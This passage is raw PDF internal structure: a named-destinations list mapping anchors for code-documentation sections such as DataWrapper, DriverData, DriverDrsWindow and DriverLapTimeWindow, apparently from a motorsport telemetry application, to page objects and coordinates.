1599 0 R /XYZ 60.307257 114.406374 0 ] (Code/DataWrapper/:__span-0-76) [ 1599 0 R /XYZ 60.307257 101.006022 0 ] (Code/DataWrapper/:__span-0-77) [ 1599 0 R /XYZ 60.307257 87.605670 0 ] (Code/DataWrapper/:__span-0-78) [ 1601 0 R /XYZ 60.307257 757.623270 0 ] (Code/DataWrapper/:__span-0-79) [ 1601 0 R /XYZ 60.307257 744.222918 0 ] (Code/DataWrapper/:__span-0-8) [ 1597 0 R /XYZ 60.307257 587.032254 0 ] (Code/DataWrapper/:__span-0-80) [ 1601 0 R /XYZ 60.307257 717.422214 0 ] (Code/DataWrapper/:__span-0-81) [ 1601 0 R /XYZ 60.307257 704.021862 0 ] (Code/DataWrapper/:__span-0-82) [ 1601 0 R /XYZ 60.307257 690.621510 0 ] (Code/DataWrapper/:__span-0-83) [ 1601 0 R /XYZ 60.307257 677.221158 0 ] (Code/DataWrapper/:__span-0-84) [ 1601 0 R /XYZ 60.307257 663.820806 0 ] (Code/DataWrapper/:__span-0-85) [ 1601 0 R /XYZ 60.307257 650.420454 0 ] (Code/DataWrapper/:__span-0-86) [ 1601 0 R /XYZ 60.307257 623.619750 0 ] (Code/DataWrapper/:__span-0-87) [ 1601 0 R /XYZ 60.307257 610.219398 0 ] (Code/DataWrapper/:__span-0-88) [ 1601 0 R /XYZ 60.307257 596.819046 0 ] (Code/DataWrapper/:__span-0-89) [ 1601 0 R /XYZ 60.307257 583.418694 0 ] (Code/DataWrapper/:__span-0-9) [ 1597 0 R /XYZ 60.307257 573.631902 0 ] (Code/DataWrapper/:__span-0-90) [ 1601 0 R /XYZ 60.307257 570.018342 0 ] (Code/DataWrapper/:__span-0-91) [ 1601 0 R /XYZ 60.307257 556.617990 0 ] (Code/DataWrapper/:__span-0-92) [ 1601 0 R /XYZ 60.307257 543.217638 0 ] (Code/DataWrapper/:__span-0-93) [ 1601 0 R /XYZ 60.307257 529.817286 0 ] (Code/DataWrapper/:__span-0-94) [ 1601 0 R /XYZ 60.307257 516.416934 0 ] (Code/DataWrapper/:__span-0-95) [ 1601 0 R /XYZ 60.307257 503.016582 0 ] (Code/DataWrapper/:__span-0-96) [ 1601 0 R /XYZ 60.307257 489.616230 0 ] (Code/DataWrapper/:__span-0-97) [ 1601 0 R /XYZ 60.307257 476.215878 0 ] (Code/DataWrapper/:__span-0-98) [ 1601 0 R /XYZ 60.307257 462.815526 0 ] (Code/DataWrapper/:__span-0-99) [ 1601 0 R /XYZ 60.307257 449.415174 0 ] (Code/DataWrapper/:datawrappercs) [ 1597 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverData/:) [ 1501 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverData/:__span-0-1) [ 1501 0 R /XYZ 60.307257 707.635422 0 ] (Code/DriverData/:__span-0-10) [ 1501 0 R /XYZ 60.307257 573.631902 0 ] (Code/DriverData/:__span-0-100) [ 1505 0 R /XYZ 60.307257 663.820806 0 ] (Code/DriverData/:__span-0-101) [ 1505 0 R /XYZ 60.307257 650.420454 0 ] (Code/DriverData/:__span-0-102) [ 1505 0 R /XYZ 60.307257 637.020102 0 ] (Code/DriverData/:__span-0-103) [ 1505 0 R /XYZ 60.307257 623.619750 0 ] (Code/DriverData/:__span-0-104) [ 1505 0 R /XYZ 60.307257 610.219398 0 ] (Code/DriverData/:__span-0-105) [ 1505 0 R /XYZ 60.307257 596.819046 0 ] (Code/DriverData/:__span-0-11) [ 1501 0 R /XYZ 60.307257 560.231550 0 ] (Code/DriverData/:__span-0-12) [ 1501 0 R /XYZ 60.307257 546.831198 0 ] (Code/DriverData/:__span-0-13) [ 1501 0 R /XYZ 60.307257 533.430846 0 ] (Code/DriverData/:__span-0-14) [ 1501 0 R /XYZ 60.307257 520.030494 0 ] (Code/DriverData/:__span-0-15) [ 1501 0 R /XYZ 60.307257 506.630142 0 ] (Code/DriverData/:__span-0-16) [ 1501 0 R /XYZ 60.307257 493.229790 0 ] (Code/DriverData/:__span-0-17) [ 1501 0 R /XYZ 60.307257 479.829438 0 ] (Code/DriverData/:__span-0-18) [ 1501 0 R /XYZ 60.307257 466.429086 0 ] (Code/DriverData/:__span-0-19) [ 1501 0 R /XYZ 60.307257 453.028734 0 ] (Code/DriverData/:__span-0-2) [ 1501 0 R /XYZ 60.307257 694.235070 0 ] (Code/DriverData/:__span-0-20) [ 1501 0 R /XYZ 60.307257 439.628382 0 ] (Code/DriverData/:__span-0-21) [ 1501 0 R /XYZ 60.307257 426.228030 0 ] (Code/DriverData/:__span-0-22) [ 1501 0 R /XYZ 60.307257 412.827678 0 ] (Code/DriverData/:__span-0-23) [ 1501 0 R /XYZ 60.307257 399.427326 0 ] (Code/DriverData/:__span-0-24) [ 1501 0 R /XYZ 60.307257 386.026974 0 ] (Code/DriverData/:__span-0-25) [ 1501 0 R /XYZ 60.307257 372.626622 0 ] (Code/DriverData/:__span-0-26) [ 1501 0 R /XYZ 60.307257 359.226270 0 ] (Code/DriverData/:__span-0-27) [ 1501 0 R /XYZ 60.307257 345.825918 0 ] (Code/DriverData/:__span-0-28) [ 1501 0 R /XYZ 60.307257 319.025214 0 ] (Code/DriverData/:__span-0-29) [ 1501 0 R /XYZ 60.307257 305.624862 0 ] (Code/DriverData/:__span-0-3) [ 1501 0 R /XYZ 60.307257 680.834718 0 ] (Code/DriverData/:__span-0-30) [ 1501 0 R /XYZ 60.307257 292.224510 0 ] (Code/DriverData/:__span-0-31) [ 1501 0 R /XYZ 60.307257 278.824158 0 ] (Code/DriverData/:__span-0-32) [ 1501 0 R /XYZ 60.307257 265.423806 0 ] (Code/DriverData/:__span-0-33) [ 1501 0 R /XYZ 60.307257 252.023454 0 ] (Code/DriverData/:__span-0-34) [ 1501 0 R /XYZ 60.307257 238.623102 0 ] (Code/DriverData/:__span-0-35) [ 1501 0 R /XYZ 60.307257 225.222750 0 ] (Code/DriverData/:__span-0-36) [ 1501 0 R /XYZ 60.307257 211.822398 0 ] (Code/DriverData/:__span-0-37) [ 1501 0 R /XYZ 60.307257 198.422046 0 ] (Code/DriverData/:__span-0-38) [ 1501 0 R /XYZ 60.307257 185.021694 0 ] (Code/DriverData/:__span-0-39) [ 1501 0 R /XYZ 60.307257 171.621342 0 ] (Code/DriverData/:__span-0-4) [ 1501 0 R /XYZ 60.307257 667.434366 0 ] (Code/DriverData/:__span-0-40) [ 1501 0 R /XYZ 60.307257 158.220990 0 ] (Code/DriverData/:__span-0-41) [ 1501 0 R /XYZ 60.307257 144.820638 0 ] (Code/DriverData/:__span-0-42) [ 1501 0 R /XYZ 60.307257 131.420286 0 ] (Code/DriverData/:__span-0-43) [ 1501 0 R /XYZ 60.307257 118.019934 0 ] (Code/DriverData/:__span-0-44) [ 1501 0 R /XYZ 60.307257 104.619582 0 ] (Code/DriverData/:__span-0-45) [ 1501 0 R /XYZ 60.307257 91.219230 0 ] (Code/DriverData/:__span-0-46) [ 1503 0 R /XYZ 60.307257 771.023622 0 ] (Code/DriverData/:__span-0-47) [ 1503 0 R /XYZ 60.307257 757.623270 0 ] (Code/DriverData/:__span-0-48) [ 1503 0 R /XYZ 60.307257 744.222918 0 ] (Code/DriverData/:__span-0-49) [ 1503 0 R /XYZ 60.307257 730.822566 0 ] (Code/DriverData/:__span-0-5) [ 1501 0 R /XYZ 60.307257 640.633662 0 ] (Code/DriverData/:__span-0-50) [ 1503 0 R /XYZ 60.307257 717.422214 0 ] (Code/DriverData/:__span-0-51) [ 1503 0 R /XYZ 60.307257 704.021862 0 ] (Code/DriverData/:__span-0-52) [ 1503 0 R /XYZ 60.307257 690.621510 0 ] (Code/DriverData/:__span-0-53) [ 1503 0 R /XYZ 60.307257 677.221158 0 ] (Code/DriverData/:__span-0-54) [ 1503 0 R /XYZ 60.307257 663.820806 0 ] (Code/DriverData/:__span-0-55) [ 1503 0 R /XYZ 60.307257 650.420454 0 ] (Code/DriverData/:__span-0-56) [ 1503 0 R /XYZ 60.307257 637.020102 0 ] (Code/DriverData/:__span-0-57) [ 1503 0 R /XYZ 60.307257 623.619750 0 ] (Code/DriverData/:__span-0-58) [ 1503 0 R /XYZ 60.307257 610.219398 0 ] (Code/DriverData/:__span-0-59) [ 1503 0 R /XYZ 60.307257 596.819046 0 ] (Code/DriverData/:__span-0-6) [ 1501 0 R /XYZ 60.307257 627.233310 0 ] (Code/DriverData/:__span-0-60) [ 1503 0 R /XYZ 60.307257 583.418694 0 ] (Code/DriverData/:__span-0-61) [ 1503 0 R /XYZ 60.307257 570.018342 0 ] (Code/DriverData/:__span-0-62) [ 1503 0 R /XYZ 60.307257 556.617990 0 ] (Code/DriverData/:__span-0-63) [ 1503 0 R /XYZ 60.307257 543.217638 0 ] (Code/DriverData/:__span-0-64) [ 1503 0 R /XYZ 60.307257 529.817286 0 ] (Code/DriverData/:__span-0-65) [ 1503 0 R /XYZ 60.307257 516.416934 0 ] (Code/DriverData/:__span-0-66) [ 1503 0 R /XYZ 60.307257 489.616230 0 ] (Code/DriverData/:__span-0-67) [ 1503 0 R /XYZ 60.307257 476.215878 0 ] (Code/DriverData/:__span-0-68) [ 1503 0 R /XYZ 60.307257 449.415174 0 ] (Code/DriverData/:__span-0-69) [ 1503 0 R /XYZ 60.307257 436.014822 0 ] (Code/DriverData/:__span-0-7) [ 1501 0 R /XYZ 60.307257 613.832958 0 ] (Code/DriverData/:__span-0-70) [ 1503 0 R /XYZ 60.307257 422.614470 0 ] (Code/DriverData/:__span-0-71) [ 1503 0 R /XYZ 60.307257 409.214118 0 ] (Code/DriverData/:__span-0-72) [ 1503 0 R /XYZ 60.307257 382.413414 0 ] (Code/DriverData/:__span-0-73) [ 1503 0 R /XYZ 60.307257 369.013062 0 ] (Code/DriverData/:__span-0-74) [ 1503 0 R /XYZ 60.307257 355.612710 0 ] (Code/DriverData/:__span-0-75) [ 1503 0 R /XYZ 60.307257 342.212358 0 ] (Code/DriverData/:__span-0-76) [ 1503 0 R /XYZ 60.307257 315.411654 0 ] (Code/DriverData/:__span-0-77) [ 1503 0 R /XYZ 60.307257 302.011302 0 ] (Code/DriverData/:__span-0-78) [ 1503 0 R /XYZ 60.307257 275.210598 0 ] (Code/DriverData/:__span-0-79) [ 1503 0 R /XYZ 60.307257 261.810246 0 ] (Code/DriverData/:__span-0-8) [ 1501 0 R /XYZ 60.307257 600.432606 0 ] (Code/DriverData/:__span-0-80) [ 1503 0 R /XYZ 60.307257 235.009542 0 ] (Code/DriverData/:__span-0-81) [ 1503 0 R /XYZ 60.307257 221.609190 0 ] (Code/DriverData/:__span-0-82) [ 1503 0 R /XYZ 60.307257 208.208838 0 ] (Code/DriverData/:__span-0-83) [ 1503 0 R /XYZ 60.307257 194.808486 0 ] (Code/DriverData/:__span-0-84) [ 1503 0 R /XYZ 60.307257 181.408134 0 ] (Code/DriverData/:__span-0-85) [ 1503 0 R /XYZ 60.307257 168.007782 0 ] (Code/DriverData/:__span-0-86) [ 1503 0 R /XYZ 60.307257 154.607430 0 ] (Code/DriverData/:__span-0-87) [ 1503 0 R /XYZ 60.307257 141.207078 0 ] (Code/DriverData/:__span-0-88) [ 1503 0 R /XYZ 60.307257 127.806726 0 ] (Code/DriverData/:__span-0-89) [ 1503 0 R /XYZ 60.307257 114.406374 0 ] (Code/DriverData/:__span-0-9) [ 1501 0 R /XYZ 60.307257 587.032254 0 ] (Code/DriverData/:__span-0-90) [ 1503 0 R /XYZ 60.307257 101.006022 0 ] (Code/DriverData/:__span-0-91) [ 1503 0 R /XYZ 60.307257 87.605670 0 ] (Code/DriverData/:__span-0-92) [ 1505 0 R /XYZ 60.307257 771.023622 0 ] (Code/DriverData/:__span-0-93) [ 1505 0 R /XYZ 60.307257 757.623270 0 ] (Code/DriverData/:__span-0-94) [ 1505 0 R /XYZ 60.307257 744.222918 0 ] (Code/DriverData/:__span-0-95) [ 1505 0 R /XYZ 60.307257 730.822566 0 ] (Code/DriverData/:__span-0-96) [ 1505 0 R /XYZ 60.307257 717.422214 0 ] (Code/DriverData/:__span-0-97) [ 1505 0 R /XYZ 60.307257 704.021862 0 ] (Code/DriverData/:__span-0-98) [ 1505 0 R /XYZ 60.307257 690.621510 0 ] (Code/DriverData/:__span-0-99) [ 1505 0 R /XYZ 60.307257 677.221158 0 ] (Code/DriverData/:driverdatacs) [ 1501 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverDrsWindow/:) [ 1615 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverDrsWindow/:__span-0-1) [ 1615 0 R /XYZ 60.307257 707.635422 0 ] (Code/DriverDrsWindow/:__span-0-10) [ 1615 0 R /XYZ 60.307257 587.032254 0 ] (Code/DriverDrsWindow/:__span-0-100) [ 1619 0 R /XYZ 60.307257 717.422214 0 ] (Code/DriverDrsWindow/:__span-0-101) [ 1619 0 R /XYZ 60.307257 704.021862 0 ] (Code/DriverDrsWindow/:__span-0-102) [ 1619 0 R /XYZ 60.307257 690.621510 0 ] (Code/DriverDrsWindow/:__span-0-103) [ 1619 0 R /XYZ 60.307257 663.820806 0 ] (Code/DriverDrsWindow/:__span-0-104) [ 1619 0 R /XYZ 60.307257 650.420454 0 ] (Code/DriverDrsWindow/:__span-0-105) [ 1619 0 R /XYZ 60.307257 637.020102 0 ] (Code/DriverDrsWindow/:__span-0-106) [ 1619 0 R /XYZ 60.307257 610.219398 0 ] (Code/DriverDrsWindow/:__span-0-107) [ 1619 0 R /XYZ 60.307257 596.819046 0 ] (Code/DriverDrsWindow/:__span-0-108) [ 1619 0 R /XYZ 60.307257 583.418694 0 ] (Code/DriverDrsWindow/:__span-0-109) [ 1619 0 R /XYZ 60.307257 570.018342 0 ] (Code/DriverDrsWindow/:__span-0-11) [ 1615 0 R /XYZ 60.307257 573.631902 0 ] (Code/DriverDrsWindow/:__span-0-110) [ 1619 0 R /XYZ 60.307257 556.617990 0 ] (Code/DriverDrsWindow/:__span-0-111) [ 1619 0 R /XYZ 60.307257 543.217638 0 ] (Code/DriverDrsWindow/:__span-0-112) [ 1619 0 R /XYZ 60.307257 529.817286 0 ] (Code/DriverDrsWindow/:__span-0-113) [ 1619 0 R /XYZ 60.307257 516.416934 0 ] (Code/DriverDrsWindow/:__span-0-114) [ 1619 0 R /XYZ 60.307257 503.016582 0 ] (Code/DriverDrsWindow/:__span-0-12) [ 1615 0 R /XYZ 60.307257 560.231550 0 ] (Code/DriverDrsWindow/:__span-0-13) [ 1615 0 R /XYZ 60.307257 546.831198 0 ] (Code/DriverDrsWindow/:__span-0-14) [ 1615 0 R /XYZ 60.307257 533.430846 0 ] (Code/DriverDrsWindow/:__span-0-15) [ 1615 0 R /XYZ 60.307257 520.030494 0 ] (Code/DriverDrsWindow/:__span-0-16) [ 1615 0 R /XYZ 60.307257 506.630142 0 ] (Code/DriverDrsWindow/:__span-0-17) [ 1615 0 R /XYZ 60.307257 493.229790 0 ] (Code/DriverDrsWindow/:__span-0-18) [ 1615 0 R /XYZ 60.307257 479.829438 0 ] (Code/DriverDrsWindow/:__span-0-19) [ 1615 0 R /XYZ 60.307257 466.429086 0 ] (Code/DriverDrsWindow/:__span-0-2) [ 1615 0 R /XYZ 60.307257 694.235070 0 ] (Code/DriverDrsWindow/:__span-0-20) [ 1615 0 R /XYZ 60.307257 453.028734 0 ] (Code/DriverDrsWindow/:__span-0-21) [ 1615 0 R /XYZ 60.307257 439.628382 0 ] (Code/DriverDrsWindow/:__span-0-22) [ 1615 0 R /XYZ 60.307257 426.228030 0 ] (Code/DriverDrsWindow/:__span-0-23) [ 1615 0 R /XYZ 60.307257 399.427326 0 ] (Code/DriverDrsWindow/:__span-0-24) [ 1615 0 R /XYZ 60.307257 386.026974 0 ] (Code/DriverDrsWindow/:__span-0-25) [ 1615 0 R /XYZ 60.307257 372.626622 0 ] (Code/DriverDrsWindow/:__span-0-26) [ 1615 0 R /XYZ 60.307257 359.226270 0 ] (Code/DriverDrsWindow/:__span-0-27) [ 1615 0 R /XYZ 60.307257 345.825918 0 ] (Code/DriverDrsWindow/:__span-0-28) [ 1615 0 R /XYZ 60.307257 332.425566 0 ] (Code/DriverDrsWindow/:__span-0-29) [ 1615 0 R /XYZ 60.307257 319.025214 0 ] (Code/DriverDrsWindow/:__span-0-3) [ 1615 0 R /XYZ 60.307257 680.834718 0 ] (Code/DriverDrsWindow/:__span-0-30) [ 1615 0 R /XYZ 60.307257 292.224510 0 ] (Code/DriverDrsWindow/:__span-0-31) [ 1615 0 R /XYZ 60.307257 278.824158 0 ] (Code/DriverDrsWindow/:__span-0-32) [ 1615 0 R /XYZ 60.307257 265.423806 0 ] (Code/DriverDrsWindow/:__span-0-33) [ 1615 0 R /XYZ 60.307257 252.023454 0 ] (Code/DriverDrsWindow/:__span-0-34) [ 1615 0 R /XYZ 60.307257 238.623102 0 ] (Code/DriverDrsWindow/:__span-0-35) [ 1615 0 R /XYZ 60.307257 225.222750 0 ] (Code/DriverDrsWindow/:__span-0-36) [ 1615 0 R /XYZ 60.307257 211.822398 0 ] (Code/DriverDrsWindow/:__span-0-37) [ 1615 0 R /XYZ 60.307257 198.422046 0 ] (Code/DriverDrsWindow/:__span-0-38) [ 1615 0 R /XYZ 60.307257 185.021694 0 ] (Code/DriverDrsWindow/:__span-0-39) [ 1615 0 R /XYZ 60.307257 171.621342 0 ] (Code/DriverDrsWindow/:__span-0-4) [ 1615 0 R /XYZ 60.307257 667.434366 0 ] (Code/DriverDrsWindow/:__span-0-40) [ 1615 0 R /XYZ 60.307257 158.220990 0 ] (Code/DriverDrsWindow/:__span-0-41) [ 1615 0 R /XYZ 60.307257 144.820638 0 ] (Code/DriverDrsWindow/:__span-0-42) [ 1615 0 R /XYZ 60.307257 131.420286 0 ] (Code/DriverDrsWindow/:__span-0-43) [ 1615 0 R /XYZ 60.307257 118.019934 0 ] (Code/DriverDrsWindow/:__span-0-44) [ 1615 0 R /XYZ 60.307257 104.619582 0 ] (Code/DriverDrsWindow/:__span-0-45) [ 1615 0 R /XYZ 60.307257 91.219230 0 ] (Code/DriverDrsWindow/:__span-0-46) [ 1617 0 R /XYZ 60.307257 771.023622 0 ] (Code/DriverDrsWindow/:__span-0-47) [ 1617 0 R /XYZ 60.307257 757.623270 0 ] (Code/DriverDrsWindow/:__span-0-48) [ 1617 0 R /XYZ 60.307257 730.822566 0 ] (Code/DriverDrsWindow/:__span-0-49) [ 1617 0 R /XYZ 60.307257 717.422214 0 ] (Code/DriverDrsWindow/:__span-0-5) [ 1615 0 R /XYZ 60.307257 654.034014 0 ] (Code/DriverDrsWindow/:__span-0-50) [ 1617 0 R /XYZ 60.307257 704.021862 0 ] (Code/DriverDrsWindow/:__span-0-51) [ 1617 0 R /XYZ 60.307257 690.621510 0 ] (Code/DriverDrsWindow/:__span-0-52) [ 1617 0 R /XYZ 60.307257 677.221158 0 ] (Code/DriverDrsWindow/:__span-0-53) [ 1617 0 R /XYZ 60.307257 663.820806 0 ] (Code/DriverDrsWindow/:__span-0-54) [ 1617 0 R /XYZ 60.307257 650.420454 0 ] (Code/DriverDrsWindow/:__span-0-55) [ 1617 0 R /XYZ 60.307257 637.020102 0 ] (Code/DriverDrsWindow/:__span-0-56) [ 1617 0 R /XYZ 60.307257 623.619750 0 ] (Code/DriverDrsWindow/:__span-0-57) [ 1617 0 R /XYZ 60.307257 596.819046 0 ] (Code/DriverDrsWindow/:__span-0-58) [ 1617 0 R /XYZ 60.307257 583.418694 0 ] (Code/DriverDrsWindow/:__span-0-59) [ 1617 0 R /XYZ 60.307257 570.018342 0 ] (Code/DriverDrsWindow/:__span-0-6) [ 1615 0 R /XYZ 60.307257 640.633662 0 ] (Code/DriverDrsWindow/:__span-0-60) [ 1617 0 R /XYZ 60.307257 556.617990 0 ] (Code/DriverDrsWindow/:__span-0-61) [ 1617 0 R /XYZ 60.307257 543.217638 0 ] (Code/DriverDrsWindow/:__span-0-62) [ 1617 0 R /XYZ 60.307257 529.817286 0 ] (Code/DriverDrsWindow/:__span-0-63) [ 1617 0 R /XYZ 60.307257 516.416934 0 ] (Code/DriverDrsWindow/:__span-0-64) [ 1617 0 R /XYZ 60.307257 503.016582 0 ] (Code/DriverDrsWindow/:__span-0-65) [ 1617 0 R /XYZ 60.307257 489.616230 0 ] (Code/DriverDrsWindow/:__span-0-66) [ 1617 0 R /XYZ 60.307257 476.215878 0 ] (Code/DriverDrsWindow/:__span-0-67) [ 1617 0 R /XYZ 60.307257 462.815526 0 ] (Code/DriverDrsWindow/:__span-0-68) [ 1617 0 R /XYZ 60.307257 449.415174 0 ] (Code/DriverDrsWindow/:__span-0-69) [ 1617 0 R /XYZ 60.307257 436.014822 0 ] (Code/DriverDrsWindow/:__span-0-7) [ 1615 0 R /XYZ 60.307257 627.233310 0 ] (Code/DriverDrsWindow/:__span-0-70) [ 1617 0 R /XYZ 60.307257 422.614470 0 ] (Code/DriverDrsWindow/:__span-0-71) [ 1617 0 R /XYZ 60.307257 409.214118 0 ] (Code/DriverDrsWindow/:__span-0-72) [ 1617 0 R /XYZ 60.307257 395.813766 0 ] (Code/DriverDrsWindow/:__span-0-73) [ 1617 0 R /XYZ 60.307257 382.413414 0 ] (Code/DriverDrsWindow/:__span-0-74) [ 1617 0 R /XYZ 60.307257 369.013062 0 ] (Code/DriverDrsWindow/:__span-0-75) [ 1617 0 R /XYZ 60.307257 355.612710 0 ] (Code/DriverDrsWindow/:__span-0-76) [ 1617 0 R /XYZ 60.307257 342.212358 0 ] (Code/DriverDrsWindow/:__span-0-77) [ 1617 0 R /XYZ 60.307257 328.812006 0 ] (Code/DriverDrsWindow/:__span-0-78) [ 1617 0 R /XYZ 60.307257 315.411654 0 ] (Code/DriverDrsWindow/:__span-0-79) [ 1617 0 R /XYZ 60.307257 302.011302 0 ] (Code/DriverDrsWindow/:__span-0-8) [ 1615 0 R /XYZ 60.307257 613.832958 0 ] (Code/DriverDrsWindow/:__span-0-80) [ 1617 0 R /XYZ 60.307257 288.610950 0 ] (Code/DriverDrsWindow/:__span-0-81) [ 1617 0 R /XYZ 60.307257 275.210598 0 ] (Code/DriverDrsWindow/:__span-0-82) [ 1617 0 R /XYZ 60.307257 261.810246 0 ] (Code/DriverDrsWindow/:__span-0-83) [ 1617 0 R /XYZ 60.307257 248.409894 0 ] (Code/DriverDrsWindow/:__span-0-84) [ 1617 0 R /XYZ 60.307257 235.009542 0 ] (Code/DriverDrsWindow/:__span-0-85) [ 1617 0 R /XYZ 60.307257 221.609190 0 ] (Code/DriverDrsWindow/:__span-0-86) [ 1617 0 R /XYZ 60.307257 208.208838 0 ] (Code/DriverDrsWindow/:__span-0-87) [ 1617 0 R /XYZ 60.307257 194.808486 0 ] (Code/DriverDrsWindow/:__span-0-88) [ 1617 0 R /XYZ 60.307257 181.408134 0 ] (Code/DriverDrsWindow/:__span-0-89) [ 1617 0 R /XYZ 60.307257 168.007782 0 ] (Code/DriverDrsWindow/:__span-0-9) [ 1615 0 R /XYZ 60.307257 600.432606 0 ] (Code/DriverDrsWindow/:__span-0-90) [ 1617 0 R /XYZ 60.307257 154.607430 0 ] (Code/DriverDrsWindow/:__span-0-91) [ 1617 0 R /XYZ 60.307257 141.207078 0 ] (Code/DriverDrsWindow/:__span-0-92) [ 1617 0 R /XYZ 60.307257 127.806726 0 ] (Code/DriverDrsWindow/:__span-0-93) [ 1617 0 R /XYZ 60.307257 114.406374 0 ] (Code/DriverDrsWindow/:__span-0-94) [ 1617 0 R /XYZ 60.307257 101.006022 0 ] (Code/DriverDrsWindow/:__span-0-95) [ 1617 0 R /XYZ 60.307257 87.605670 0 ] (Code/DriverDrsWindow/:__span-0-96) [ 1619 0 R /XYZ 60.307257 771.023622 0 ] (Code/DriverDrsWindow/:__span-0-97) [ 1619 0 R /XYZ 60.307257 757.623270 0 ] (Code/DriverDrsWindow/:__span-0-98) [ 1619 0 R /XYZ 60.307257 744.222918 0 ] (Code/DriverDrsWindow/:__span-0-99) [ 1619 0 R /XYZ 60.307257 730.822566 0 ] (Code/DriverDrsWindow/:driverdrswindowcs) [ 1615 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverGapToLeaderWindow/:) [ 1507 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverGapToLeaderWindow/:__span-0-1) [ 1507 0 R /XYZ 60.307257 707.635422 0 ] (Code/DriverGapToLeaderWindow/:__span-0-10) [ 1507 0 R /XYZ 60.307257 587.032254 0 ] (Code/DriverGapToLeaderWindow/:__span-0-11) [ 1507 0 R /XYZ 60.307257 573.631902 0 ] (Code/DriverGapToLeaderWindow/:__span-0-12) [ 1507 0 R /XYZ 60.307257 560.231550 0 ] (Code/DriverGapToLeaderWindow/:__span-0-13) [ 1507 0 R /XYZ 60.307257 546.831198 0 ] (Code/DriverGapToLeaderWindow/:__span-0-14) [ 1507 0 R /XYZ 60.307257 533.430846 0 ] (Code/DriverGapToLeaderWindow/:__span-0-15) [ 1507 0 R /XYZ 60.307257 520.030494 0 ] (Code/DriverGapToLeaderWindow/:__span-0-16) [ 1507 0 R /XYZ 60.307257 506.630142 0 ] (Code/DriverGapToLeaderWindow/:__span-0-17) [ 1507 0 R /XYZ 60.307257 493.229790 0 ] (Code/DriverGapToLeaderWindow/:__span-0-18) [ 1507 0 R /XYZ 60.307257 479.829438 0 ] (Code/DriverGapToLeaderWindow/:__span-0-19) [ 1507 0 R /XYZ 60.307257 453.028734 0 ] (Code/DriverGapToLeaderWindow/:__span-0-2) [ 1507 0 R /XYZ 60.307257 694.235070 0 ] (Code/DriverGapToLeaderWindow/:__span-0-20) [ 1507 0 R /XYZ 60.307257 439.628382 0 ] (Code/DriverGapToLeaderWindow/:__span-0-21) [ 1507 0 R /XYZ 60.307257 426.228030 0 ] (Code/DriverGapToLeaderWindow/:__span-0-22) [ 1507 0 R /XYZ 60.307257 412.827678 0 ] (Code/DriverGapToLeaderWindow/:__span-0-23) [ 1507 0 R /XYZ 60.307257 399.427326 0 ] (Code/DriverGapToLeaderWindow/:__span-0-24) [ 1507 0 R /XYZ 60.307257 386.026974 0 ] (Code/DriverGapToLeaderWindow/:__span-0-25) [ 1507 0 R /XYZ 60.307257 372.626622 0 ] (Code/DriverGapToLeaderWindow/:__span-0-26) [ 1507 0 R /XYZ 60.307257 359.226270 0 ] (Code/DriverGapToLeaderWindow/:__span-0-27) [ 1507 0 R /XYZ 60.307257 345.825918 0 ] (Code/DriverGapToLeaderWindow/:__span-0-28) [ 1507 0 R /XYZ 60.307257 332.425566 0 ] (Code/DriverGapToLeaderWindow/:__span-0-29) [ 1507 0 R /XYZ 60.307257 305.624862 0 ] (Code/DriverGapToLeaderWindow/:__span-0-3) [ 1507 0 R /XYZ 60.307257 680.834718 0 ] (Code/DriverGapToLeaderWindow/:__span-0-30) [ 1507 0 R /XYZ 60.307257 292.224510 0 ] (Code/DriverGapToLeaderWindow/:__span-0-31) [ 1507 0 R /XYZ 60.307257 278.824158 0 ] (Code/DriverGapToLeaderWindow/:__span-0-32) [ 1507 0 R /XYZ 60.307257 265.423806 0 ] (Code/DriverGapToLeaderWindow/:__span-0-4) [ 1507 0 R /XYZ 60.307257 667.434366 0 ] (Code/DriverGapToLeaderWindow/:__span-0-5) [ 1507 0 R /XYZ 60.307257 654.034014 0 ] (Code/DriverGapToLeaderWindow/:__span-0-6) [ 1507 0 R /XYZ 60.307257 640.633662 0 ] (Code/DriverGapToLeaderWindow/:__span-0-7) [ 1507 0 R /XYZ 60.307257 627.233310 0 ] (Code/DriverGapToLeaderWindow/:__span-0-8) [ 1507 0 R /XYZ 60.307257 613.832958 0 ] (Code/DriverGapToLeaderWindow/:__span-0-9) [ 1507 0 R /XYZ 60.307257 600.432606 0 ] (Code/DriverGapToLeaderWindow/:drivergaptoleaderwindowcs) [ 1507 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverLapTimeWindow/:) [ 1621 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverLapTimeWindow/:__span-0-1) [ 1621 0 R /XYZ 60.307257 707.635422 0 ] (Code/DriverLapTimeWindow/:__span-0-10) [ 1621 0 R /XYZ 60.307257 587.032254 0 ] (Code/DriverLapTimeWindow/:__span-0-11) [ 1621 0 R /XYZ 60.307257 573.631902 0 ] (Code/DriverLapTimeWindow/:__span-0-12) [ 1621 0 R /XYZ 60.307257 560.231550 0 ] (Code/DriverLapTimeWindow/:__span-0-13) [ 1621 0 R /XYZ 60.307257 546.831198 0 ] (Code/DriverLapTimeWindow/:__span-0-14) [ 1621 0 R /XYZ 60.307257 533.430846 0 ] (Code/DriverLapTimeWindow/:__span-0-15) [ 1621 0 R /XYZ 60.307257 520.030494 0 ] (Code/DriverLapTimeWindow/:__span-0-16) [ 1621 0 R /XYZ 60.307257 506.630142 0 ] (Code/DriverLapTimeWindow/:__span-0-17) [ 1621 0 R /XYZ 60.307257 493.229790 0 ] (Code/DriverLapTimeWindow/:__span-0-18) [ 1621 0 R /XYZ 60.307257 479.829438 0 ] (Code/DriverLapTimeWindow/:__span-0-19) [ 1621 0 R /XYZ 60.307257 453.028734 0 ] (Code/DriverLapTimeWindow/:__span-0-2) [ 1621 0 R /XYZ 60.307257 694.235070 0 ] (Code/DriverLapTimeWindow/:__span-0-20) [ 1621 0 R /XYZ 60.307257 439.628382 0 ] (Code/DriverLapTimeWindow/:__span-0-21) [ 1621 0 R /XYZ 60.307257 426.228030 0 ] (Code/DriverLapTimeWindow/:__span-0-22) [ 1621 0 R /XYZ 60.307257 412.827678 0 ] (Code/DriverLapTimeWindow/:__span-0-23) [ 1621 0 R /XYZ 60.307257 399.427326 0 ] (Code/DriverLapTimeWindow/:__span-0-24) [ 1621 0 R /XYZ 60.307257 386.026974 0 ] (Code/DriverLapTimeWindow/:__span-0-25) [ 